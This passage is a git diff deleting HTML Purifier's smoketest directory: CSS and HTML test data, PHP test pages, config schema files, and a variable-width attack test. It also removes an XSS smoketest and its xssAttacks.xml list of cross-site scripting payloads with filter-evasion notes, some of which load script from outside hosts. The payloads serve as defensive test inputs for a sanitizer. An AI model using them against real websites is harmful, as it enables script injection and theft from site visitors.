    dl dd
    -
    1. ol li
    -
    • ul li
    -
    - - - - - diff --git a/classes/security/htmlpurifier/smoketests/basic/legacy.css b/classes/security/htmlpurifier/smoketests/basic/legacy.css deleted file mode 100644 index fb600e400..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/legacy.css +++ /dev/null @@ -1,73 +0,0 @@ - -center, -dir[compact='compact'], -isindex[prompt='Foo'], -menu[compact='compact'], -s, -u, -strike, - -caption[align='bottom'], -div[align='center'], -dl[compact='compact'], - -h1[align='right'], -h2[align='right'], -h3[align='right'], -h4[align='right'], -h5[align='right'], -h6[align='right'], - -hr[align='right'], -hr[noshade='noshade'], -hr[width='50'], -hr[size='50'], - -img[align='right'], -img[border='3'], -img[hspace='5'], -img[vspace='5'], - -input[align='right'], -legend[align='center'], - -li[type='A'], -li[value='5'], - -ol[compact='compact'], -ol[start='3'], -ol[type='I'], - -p[align='right'], - -pre[width='50'], - -table[align='right'], -table[bgcolor='#0000FF'], - -tr[bgcolor='#0000FF'], - -td[bgcolor='#0000FF'], -td[height='50'], -td[nowrap='nowrap'], -td[width='200'], - -th[bgcolor='#0000FF'], -th[height='50'], -th[nowrap='nowrap'], -th[width='200'], - -ul[compact='compact'], -ul[type='square'], - -.insert-declarations-above - {background:#008000; color:#FFF; font-weight:bold;} - -font {background:#BFB;} -u {border:1px solid #000;} -hr {height:1em;} -hr[size='50'] {height:50px;} -img[border='3'] {border: 3px solid #000;} -li[type='a'], li[value='5'] {color:#DDD;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/smoketests/basic/legacy.html b/classes/security/htmlpurifier/smoketests/basic/legacy.html deleted file mode 100644 index 0ff1c7b52..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/legacy.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - HTML Purifier Legacy Smoketest Test Data - - - - - -

    HTML Purifier Legacy Smoketest Test Data

    - -

    This is the legacy smoketest.

    - -

    Elements

    - -
    -
    - - basefont: Green, Arial, size 6 text (IE-only) -
    - -
    center
    - - -
  • dir
  • -
    - -font: Green, Arial, size 6 text - -isindex: - - - -
  • menu
  • -
    - -s strike u -
    - -

    Attributes

    - -
    - - -
    *
    -
    -

    br@clear (asterisk is up)

    - - - - -
    caption@align
    Cell
    - -
    div@center
    - -
    -
    dl@compact
    -
    - -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - -hr@align -
    -hr@noshade -
    -hr@width -
    -hr@size -
    - -img@align | -img@border | -img@hspace | -img@vspace - - - -Legend - -
      -
    1. li@type (ensure that it's a capital A)
    2. -
    3. li@value
    4. -
    - -
    1. ol@compact
    -
    1. ol@start
    -
    1. ol@type
    - -

    p@align

    - -
    pre@width
    - - - -
    table@align
    -
    table@bgcolor
    - -
    tr@bgcolor
    - -
    td@bgcolor
    -
    td@height
    -
    td@nowrap
    -
    td@width
    - -
    th@bgcolor
    -
    th@height
    -
    th@nowrap
    -
    th@width
    - -
    • ul@compact
    -
    • ul@square
    - -
    - - - - - diff --git a/classes/security/htmlpurifier/smoketests/cacheConfig.php b/classes/security/htmlpurifier/smoketests/cacheConfig.php deleted file mode 100644 index 2d4ffdda3..000000000 --- a/classes/security/htmlpurifier/smoketests/cacheConfig.php +++ /dev/null @@ -1,15 +0,0 @@ -set('HTML.Doctype', 'HTML 4.01 Strict'); -$config->set('HTML.Allowed', 'b,a[href],br'); -$config->set('CSS.AllowTricky', true); -$config->set('URI.Disable', true); -$serial = $config->serialize(); - -$result = unserialize($serial); -$purifier = new HTMLPurifier($result); -echo htmlspecialchars($purifier->purify('Bold
    no formatting')); - diff --git a/classes/security/htmlpurifier/smoketests/common.php b/classes/security/htmlpurifier/smoketests/common.php deleted file mode 100644 index c4e5eb388..000000000 --- a/classes/security/htmlpurifier/smoketests/common.php +++ /dev/null @@ -1,37 +0,0 @@ - $val) { - if (!is_array($val)) { - $array[$k] = stripslashes($val); - } else { - fix_magic_quotes($array[$k]); - } - } - } - - fix_magic_quotes($_GET); - fix_magic_quotes($_POST); - fix_magic_quotes($_COOKIE); - fix_magic_quotes($_REQUEST); - fix_magic_quotes($_ENV); - fix_magic_quotes($_SERVER); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/configForm.php b/classes/security/htmlpurifier/smoketests/configForm.php deleted file mode 100644 index 90e80ac56..000000000 --- a/classes/security/htmlpurifier/smoketests/configForm.php +++ /dev/null @@ -1,77 +0,0 @@ -validate(); - -if (isset($_GET['doc'])) { - - // Hijack page generation to supply documentation - - if (file_exists('test-schema.html') && !isset($_GET['purge'])) { - echo file_get_contents('test-schema.html'); - exit; - } - - $style = 'plain'; - $configdoc_xml = 'test-schema.xml'; - - $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); - $xml_builder->openURI($configdoc_xml); - $xml_builder->build($interchange); - unset($xml_builder); // free handle - - $xslt = new ConfigDoc_HTMLXSLTProcessor(); - $xslt->importStylesheet("../configdoc/styles/$style.xsl"); - $xslt->setParameters(array( - 'css' => '../configdoc/styles/plain.css', - )); - $html = $xslt->transformToHTML($configdoc_xml); - - unlink('test-schema.xml'); - file_put_contents('test-schema.html', $html); - echo $html; - - exit; -} - -?> - - - HTML Purifier Config Form Smoketest - - - - - -

    HTML Purifier Config Form Smoketest

    -

    This file outputs the configuration form for every single type -of directive possible.

    - -build($interchange); - -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); -$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); -echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); - -?> - -
    -getAll(), true));
    -?>
    -
    - - -'; -?> - - - HTML Purifier data Scheme Smoketest - - - -

    HTML Purifier data Scheme Smoketest

    -'; - -$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); - -?> -
    purify($string); -?>
    - - - - -Error: CSSTidy library not -found, please install and configure test-settings.php -accordingly. - true, -)); - -$html = isset($_POST['html']) ? $_POST['html'] : ''; -$purified_html = $purifier->purify($html); - -?> - - - Extract Style Blocks - HTML Purifier Smoketest - -context->get('StyleBlocks') as $style) { -?> - - - -

    Extract Style Blocks

    -

    - This smoketest allows users to specify global style sheets for the - document, allowing for interesting techniques and compact markup - that wouldn't normally be possible, using the ExtractStyleBlocks filter. -

    -

    - User submitted content: -

    -
    - -
    -
    - - -
    - - - - - innerHTML smoketest - - - - - - - - diff --git a/classes/security/htmlpurifier/smoketests/innerHTML.js b/classes/security/htmlpurifier/smoketests/innerHTML.js deleted file mode 100644 index 74ccbb688..000000000 --- a/classes/security/htmlpurifier/smoketests/innerHTML.js +++ /dev/null @@ -1,51 +0,0 @@ -var alphabet = 'a!`=[]\\;\':"/<> &'; - -var out = document.getElementById('out'); -var testContainer = document.getElementById('testContainer'); - -function print(s) { - out.value += s + "\n"; -} - -function testImage() { - return testContainer.firstChild; -} - -function test(input) { - var count = 0; - var oldInput, newInput; - testContainer.innerHTML = ""; - testImage().setAttribute("alt", input); - print("------"); - print("Test input: " + input); - do { - oldInput = testImage().getAttribute("alt"); - var intermediate = testContainer.innerHTML; - print("Render: " + intermediate); - testContainer.innerHTML = intermediate; - if (testImage() == null) { - print("Image disappeared..."); - break; - } - newInput = testImage().getAttribute("alt"); - print("New value: " + newInput); - count++; - } while (count < 5 && newInput != oldInput); - if (count == 5) { - print("Failed to achieve fixpoint"); - } - testContainer.innerHTML = ""; -} - -print("Go!"); - -test("`` "); -test("'' "); - -for (var i = 0; i < alphabet.length; i++) { - for (var j = 0; j < alphabet.length; j++) { - test(alphabet.charAt(i) + alphabet.charAt(j)); - } -} - -// document.getElementById('out').textContent = alphabet; diff --git a/classes/security/htmlpurifier/smoketests/preserveYouTube.php b/classes/security/htmlpurifier/smoketests/preserveYouTube.php deleted file mode 100644 index 1dfa85cb6..000000000 --- a/classes/security/htmlpurifier/smoketests/preserveYouTube.php +++ /dev/null @@ -1,72 +0,0 @@ -'; -?> - - - HTML Purifier Preserve YouTube Smoketest - - - -

    HTML Purifier Preserve YouTube Smoketest

    - - - - - - - - - -'; - -$regular_purifier = new HTMLPurifier(); - -$safeobject_purifier = new HTMLPurifier(array( - 'HTML.SafeObject' => true, - 'Output.FlashCompat' => true, -)); - -?> -

    Unpurified

    -

    Click here to see the unpurified version (breaks validation).

    -
    - -

    Without YouTube exception

    -
    purify($string); -?>
    - -

    With SafeObject exception and flash compatibility

    -
    purify($string); -?>
    - - - -prepareGenerator($gen_config); -$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); -$printer_css_definition->prepareGenerator($gen_config); - -$printer_config_form = new HTMLPurifier_Printer_ConfigForm( - 'config', - 'http://htmlpurifier.org/live/configdoc/plain.html#%s' -); - -echo ''; - -?> - - - - HTML Purifier Printer Smoketest - - - - - - - -

    HTML Purifier Printer Smoketest

    - -

    HTML Purifier claims to have a robust yet permissive whitelist: this -page will allow you to see precisely what HTML Purifier's internal -whitelist is. You can -also twiddle with the configuration settings to see how a directive -influences the internal workings of the definition objects.

    - -

    Modify configuration

    - -

    You can specify an array by typing in a comma-separated -list of items, HTML Purifier will take care of the rest (including -transformation into a real array list or a lookup table).

    - -
    -render($config, 'HTML'); -?> -

    * Some configuration directives make a distinction between an empty -variable and a null variable. A whitelist, for example, will take an -empty array as meaning no allowed elements, while checking -Null/Disabled will mean that user whitelisting functionality is disabled.

    -
    - -

    Definitions

    - -
    -
    Parent of Fragment
    -
    HTML that HTML Purifier does not live in a void: when it's - output, it has to be placed in another element by means of - something like <element> <?php echo $html - ?> </element>. The parent in this example - is element.
    -
    Strict mode
    -
    Whether or not HTML Purifier's output is Transitional or - Strict compliant. Non-strict mode still actually a little strict - and converts many deprecated elements.
    -
    #PCDATA
    -
    Literally Parsed Character Data, it is regular - text. Tags like ul don't allow text in them, so - #PCDATA is missing.
    -
    Tag transform
    -
    A tag transform will change one tag to another. Example: font - turns into a span tag with appropriate CSS.
    -
    Attr Transform
    -
    An attribute transform changes a group of attributes based on one - another. Currently, only lang and xml:lang - use this hook, to synchronize each other's values. Pre/Post indicates - whether or not the transform is done before/after validation.
    -
    Excludes
    -
    Tags that an element excludes are excluded for all descendants of - that element, and not just the children of them.
    -
    Name(Param1, Param2)
    -
    Represents an internal data-structure. You'll have to check out - the corresponding classes in HTML Purifier to find out more.
    -
    - -

    HTMLDefinition

    -render($config) ?> -

    CSSDefinition

    -render($config) ?> - - - 'val1', 'key2' => 'val2') -DESCRIPTION: The hash type is an associative array of string keys and string values. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt deleted file mode 100644 index 157df3f3e..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.int -TYPE: int -DEFAULT: 23 -DESCRIPTION: The int type is an signed integer. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt deleted file mode 100644 index dfd43aa48..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.istring -TYPE: istring -DEFAULT: 'case insensitive' -DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt deleted file mode 100644 index 97140dea8..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.itext -TYPE: itext -DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" -DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt deleted file mode 100644 index 55497fcdf..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.list -TYPE: list -DEFAULT: array('item1', 'item2') -DESCRIPTION: The list type is a numerically indexed array of strings. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt deleted file mode 100644 index b2479912f..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.lookup -TYPE: lookup -DEFAULT: array('key1' => true, 'key2' => true) -DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt deleted file mode 100644 index 8bc14bbe6..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.mixed -TYPE: mixed -DEFAULT: new stdclass() -DESCRIPTION: The mixed type allows any type, and is not form-editable. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt deleted file mode 100644 index d3d756fc6..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt +++ /dev/null @@ -1,7 +0,0 @@ -Type.nullbool -TYPE: bool/null -DEFAULT: null ---DESCRIPTION-- -Null booleans need to be treated a little specially. See %Type.nullstring -for information on what the null flag does. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt deleted file mode 100644 index 4db33235d..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt +++ /dev/null @@ -1,9 +0,0 @@ -Type.nullstring -TYPE: string/null -DEFAULT: null ---DESCRIPTION-- -The null type is not a type, but a flag that can be added to any type -making null a valid value for that entry. It's useful for saying, "Let -the software pick the value for me," or "Don't use this element" when -false has a special meaning. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt deleted file mode 100644 index 4cde40907..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.string -TYPE: string -DEFAULT: 'Case sensitive' -DESCRIPTION: The string type is short (no newlines) and case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt deleted file mode 100644 index 5fca4d567..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.text -TYPE: text -DEFAULT: "Case sensitive\nand\npossibly\nquite long..." -DESCRIPTION: The text type has newlines and is case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.txt deleted file mode 100644 index b4761220c..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.txt +++ /dev/null @@ -1,3 +0,0 @@ -Type -DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/info.ini b/classes/security/htmlpurifier/smoketests/test-schema/info.ini deleted file mode 100644 index 438e8acce..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/info.ini +++ /dev/null @@ -1,3 +0,0 @@ -name = "Test Schema" - -; vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/variableWidthAttack.php b/classes/security/htmlpurifier/smoketests/variableWidthAttack.php deleted file mode 100644 index f3b6e8214..000000000 --- a/classes/security/htmlpurifier/smoketests/variableWidthAttack.php +++ /dev/null @@ -1,57 +0,0 @@ -'; -?> - - - HTML Purifier Variable Width Attack Smoketest - - - -

    HTML Purifier Variable Width Attack Smoketest

    -

    For more information, see -Cheng Peng Su's -original advisory. This particular exploit code appears only to work -in Internet Explorer, if it works at all.

    -

    Test

    - - - - -A"'; // in our out the attribute? ;-) - $html .= "onerror=alert('$i')>O"; - $pure_html = $purifier->purify($html); -?> - - - - - - - - -
    ASCIIRawOutputRender
    - -

    Analysis

    - -

    By making sure that UTF-8 is well formed and non-SGML codepoints are -removed, as well as escaping quotes outside of tags, this is a non-threat.

    - - - -\t
    ', '»', '\0'), - escapeHTML( - str_replace("\0", '\0(null)', - wordwrap($string, 28, " »\n", true) - ) - ) - ); -} - -?> - - - HTML Purifier XSS Attacks Smoketest - - - - -

    HTML Purifier XSS Attacks Smoketest

    -

    XSS attacks are from -http://ha.ckers.org/xss.html.

    -

    Caveats: -Google.com has been programatically disallowed, but as you can -see, there are ways of getting around that, so coverage in this area -is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. -The displayed code is not strictly correct, as linebreaks have been forced for -readability. Linewraps have been marked with ». Some tests are -omitted for your convenience. Not all control characters are displayed.

    - -

    Test

    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('xssAttacks.xml'); - -// programatically disallow google.com for URI evasion tests -// not complete -$config = HTMLPurifier_Config::createDefault(); -$config->set('URI.HostBlacklist', array('google.com')); -$purifier = new HTMLPurifier($config); - -?> - - - -attack as $attack) { - $code = $attack->code; - - // custom code for null byte injection tests - if (substr($code, 0, 7) == 'perl -e') { - $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); - $code = str_replace('\0', "\0", $code); - } - - // disable vectors we cannot test in any meaningful way - if ($code == 'See Below') continue; // event handlers, whitelist defeats - if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript - if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response - - // custom code for US-ASCII, which couldn't be expressed in XML without encoding - if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); -?> - > - - - purify($code); ?> - - - - - -
    NameRawOutputRender
    name); ?>
    - - - - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Embedded commands 1 - <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG STYLE w/expression - exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; 